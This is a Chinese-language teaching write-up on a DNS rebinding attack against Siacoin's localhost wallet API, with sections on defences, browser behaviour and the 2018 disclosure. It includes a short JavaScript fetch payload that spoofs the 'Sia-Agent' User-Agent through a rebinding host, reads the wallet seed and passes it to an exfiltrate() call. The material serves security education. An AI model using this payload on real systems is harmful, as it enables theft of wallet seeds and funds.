Web标准安全性研究:对某数字货币服务的授权渗透
字数 1377 2025-08-18 11:38:56

Web标准安全性研究:针对本地API服务的DNS重绑定攻击教学文档

1. 背景与核心概念

1.1 本地API服务的安全假设

  • 现代应用程序常使用localhost API服务(127.0.0.1)分离UI与核心逻辑
  • 开发者假设绑定到localhost的服务是安全的,不会被远程攻击
  • 这种假设在浏览器环境下可能不成立

1.2 相关案例

  • 暴雪游戏系列(魔兽世界、守望先锋等)曾存在DNS重绑定漏洞
  • uTorrent曾存在类似漏洞导致远程代码执行
  • Zoom视频会议应用也曾发现可利用问题

2. 攻击原理与技术细节

2.1 同源策略(SOP)机制

  • 浏览器安全基础策略,限制不同源之间的交互
  • 跨源请求限制:
    • 不允许包含"不安全"标头
    • 目标站点可通过CORS标头控制响应可见性
  • "安全"请求标准:
    • 仅允许特定方法(GET, HEAD, POST)
    • 仅允许特定标头(Accept, Accept-Language等)

2.2 DNS重绑定技术

  • 攻击流程:

    1. 用户访问攻击者控制的域名
    2. DNS首次解析为攻击者服务器IP(如12.34.56.78)
    3. 设置极短TTL防止缓存
    4. TTL过期后,DNS解析为127.0.0.1
    5. 浏览器认为仍在与原始域通信,实际请求发往本地服务
  • 工具示例:rbndr.us (Tavis Ormandy创建)

2.3 标头欺骗技术

  • 标准允许同源请求设置任意User-Agent
  • User-Agent不在"禁止标头列表"中
  • 攻击者可利用DNS重绑定将跨域请求转为同源请求后修改User-Agent

3. 针对Siacoin的实际攻击案例

3.1 Siacoin防护机制

  • 检查User-Agent必须包含"Sia-Agent"
  • 初始防护代码:
if !strings.Contains(req.UserAgent(), "Sia-Agent") {
    writeError(w, "Browser access disabled...", http.StatusBadRequest)
    return
}

3.2 完整攻击流程

  1. 设置DNS重绑定(使用rbndr.us)
  2. 等待DNS记录更新至127.0.0.1
  3. 构造恶意请求:
// 设置自定义User-Agent
fetch('http://7f000001.<our_ip>.rbndr.us:9980/wallet/seed', {
    headers: {
        'User-Agent': 'Sia-Agent'
    }
})
.then(response => response.text())
.then(data => exfiltrate(data));

3.3 攻击后果

  • 窃取钱包种子(可重建私钥)
  • 完全控制受害者资金
  • 潜在远程代码执行(通过文件上传/下载功能)

4. 防御措施

4.1 有效防护方案

  • 磁盘令牌验证:API请求需附带存储在磁盘上的密钥
  • 网络隔离:如Microsoft Edge的app-container实现
  • 多重验证:结合多种验证机制

4.2 不推荐的防护方案

  • 单纯依赖User-Agent检查
  • 仅检查Host或Referer头
  • 依赖浏览器默认安全策略

5. 浏览器兼容性分析

浏览器 是否易受攻击 原因
Chrome 部分防护 阻止DNS重绑定时的User-Agent设置
Firefox 易受攻击 完全遵循标准
Safari 易受攻击 完全遵循标准
Edge 防护 内置网络隔离阻止localhost连接

6. 时间线与披露

  • 2018年9月:向Nebulous Labs披露
  • 及时修复:通过强化磁盘令牌验证机制

7. 扩展思考

  • 类似攻击可应用于其他加密货币守护进程
  • 现代Web标准与安全实践的潜在冲突
  • 本地服务安全模型的重新评估需求

8. 参考资源

  • Google Project Zero相关研究
  • CORS与SOP标准文档
  • DNS重绑定技术白皮书
  • 原始披露报告与修复方案
Web标准安全性研究:针对本地API服务的DNS重绑定攻击教学文档 1. 背景与核心概念 1.1 本地API服务的安全假设 现代应用程序常使用localhost API服务(127.0.0.1)分离UI与核心逻辑 开发者假设绑定到localhost的服务是安全的,不会被远程攻击 这种假设在浏览器环境下可能不成立 1.2 相关案例 暴雪游戏系列(魔兽世界、守望先锋等)曾存在DNS重绑定漏洞 uTorrent曾存在类似漏洞导致远程代码执行 Zoom视频会议应用也曾发现可利用问题 2. 攻击原理与技术细节 2.1 同源策略(SOP)机制 浏览器安全基础策略,限制不同源之间的交互 跨源请求限制: 不允许包含"不安全"标头 目标站点可通过CORS标头控制响应可见性 "安全"请求标准: 仅允许特定方法(GET, HEAD, POST) 仅允许特定标头(Accept, Accept-Language等) 2.2 DNS重绑定技术 攻击流程: 用户访问攻击者控制的域名 DNS首次解析为攻击者服务器IP(如12.34.56.78) 设置极短TTL防止缓存 TTL过期后,DNS解析为127.0.0.1 浏览器认为仍在与原始域通信,实际请求发往本地服务 工具示例:rbndr.us (Tavis Ormandy创建) 2.3 标头欺骗技术 标准允许同源请求设置任意User-Agent User-Agent不在"禁止标头列表"中 攻击者可利用DNS重绑定将跨域请求转为同源请求后修改User-Agent 3. 针对Siacoin的实际攻击案例 3.1 Siacoin防护机制 检查User-Agent必须包含"Sia-Agent" 初始防护代码: 3.2 完整攻击流程 设置DNS重绑定(使用rbndr.us) 等待DNS记录更新至127.0.0.1 构造恶意请求: 3.3 攻击后果 窃取钱包种子(可重建私钥) 完全控制受害者资金 潜在远程代码执行(通过文件上传/下载功能) 4. 防御措施 4.1 有效防护方案 磁盘令牌验证 :API请求需附带存储在磁盘上的密钥 网络隔离 :如Microsoft Edge的app-container实现 多重验证 :结合多种验证机制 4.2 不推荐的防护方案 单纯依赖User-Agent检查 仅检查Host或Referer头 依赖浏览器默认安全策略 5. 浏览器兼容性分析 | 浏览器 | 是否易受攻击 | 原因 | |--------|--------------|------| | Chrome | 部分防护 | 阻止DNS重绑定时的User-Agent设置 | | Firefox | 易受攻击 | 完全遵循标准 | | Safari | 易受攻击 | 完全遵循标准 | | Edge | 防护 | 内置网络隔离阻止localhost连接 | 6. 时间线与披露 2018年9月:向Nebulous Labs披露 及时修复:通过强化磁盘令牌验证机制 7. 扩展思考 类似攻击可应用于其他加密货币守护进程 现代Web标准与安全实践的潜在冲突 本地服务安全模型的重新评估需求 8. 参考资源 Google Project Zero相关研究 CORS与SOP标准文档 DNS重绑定技术白皮书 原始披露报告与修复方案